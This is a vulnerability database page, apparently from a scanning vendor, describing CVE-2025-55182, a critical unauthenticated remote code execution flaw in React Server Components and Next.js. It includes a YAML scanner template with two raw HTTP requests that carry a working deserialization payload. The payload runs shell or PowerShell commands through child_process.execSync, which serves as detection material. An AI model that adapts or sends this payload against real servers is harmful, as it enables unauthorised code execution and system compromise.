/Vulnerability Library

React Server Components - Remote Code Execution

CVE-2025-55182
Verified

Description

React Server Components 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack contain a remote code execution caused by unsafe deserialization of payloads from HTTP requests to Server Function endpoints, letting unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.

Severity

Critical

CVSS Score

10

Exploit Probability

47%

Published Date

December 4, 2025

Template Author

dhiyaneshdk, princechaddha, assetnote
+3

CVE-2025-55182.yaml
id: CVE-2025-55182

info:
  name: React Server Components - Remote Code Execution
  author: DhiyaneshDk,princechaddha,assetnote,lachlan2k,maple3142,iamnooob
  severity: critical
  description: |
    React Server Components 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including react-server-dom-parcel,
    react-server-dom-turbopack, and react-server-dom-webpack contain a remote code execution caused
    by unsafe deserialization of payloads from HTTP requests to Server Function endpoints, letting
    unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full system compromise.
  remediation: |
    Update to the latest version that fixes the unsafe deserialization issue.
  reference:
    - https://github.com/assetnote/react2shell-scanner
    - https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
    - https://www.facebook.com/security/advisories/cve-2025-55182
    - http://www.openwall.com/lists/oss-security/2025/12/03/4
    - https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
    - https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp
    - https://vercel.com/changelog/cve-2025-55182
    - https://github.com/Chocapikk/CVE-2025-55182
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-55182
    epss-score: 0.46718
    epss-percentile: 0.97544
    cwe-id: CWE-502
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.component:"Next.js"
  tags: cve,cve2025,react,rce,nextjs,oast,kev,vkev

variables:
  request-id: "{{to_lower(rand_text_alphanumeric(8))}}"
  nextjs-html: "{{rand_text_alphanumeric(21)}}"
  num1: "{{rand_int(40000, 44800)}}"
  num2: "{{rand_int(40000, 44800)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        @timeout 15s
        POST / HTTP/1.1
        Host: {{Hostname}}
        Next-Action: x
        X-Nextjs-Request-Id: {{request-id}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
        X-Nextjs-Html-Request-Id: {{nextjs-html}}

        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="0"

        {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $(({{num1}}*{{num2}}))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="1"

        "$@0"
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="2"

        []
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

      - |
        @timeout 15s
        POST / HTTP/1.1
        Host: {{Hostname}}
        Next-Action: x
        X-Nextjs-Request-Id: {{request-id}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
        X-Nextjs-Html-Request-Id: {{nextjs-html}}

        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="0"

        {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('powershell -c \"{{num1}}*{{num2}}\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="1"

        "$@0"
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="2"

        []
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

    stop-at-first-match: true
    redirects: true

    matchers:
      - type: dsl
        dsl:
          - "contains(to_lower(header), 'x-action-redirect: /login?a={{result}}')"
# digest: 4b0a00483046022100c4dcd19e84fe65489a4d4c58622652b1a97ce829a1862039c1515740b2995ff5022100f0c85db267b398a10c759fec3a680d49c5820bf8bce05b2f12e443b4c76bebb5:922c64590222798bb761d5b6d8e72950
10.0Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE ID:
cve-2025-55182
CWE ID:
cwe-502

References

https://github.com/assetnote/react2shell-scannerhttps://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3https://www.facebook.com/security/advisories/cve-2025-55182http://www.openwall.com/lists/oss-security/2025/12/03/4https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-componentshttps://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mphttps://vercel.com/changelog/cve-2025-55182https://github.com/Chocapikk/CVE-2025-55182

Remediation Steps

Update to the latest version that fixes the unsafe deserialization issue.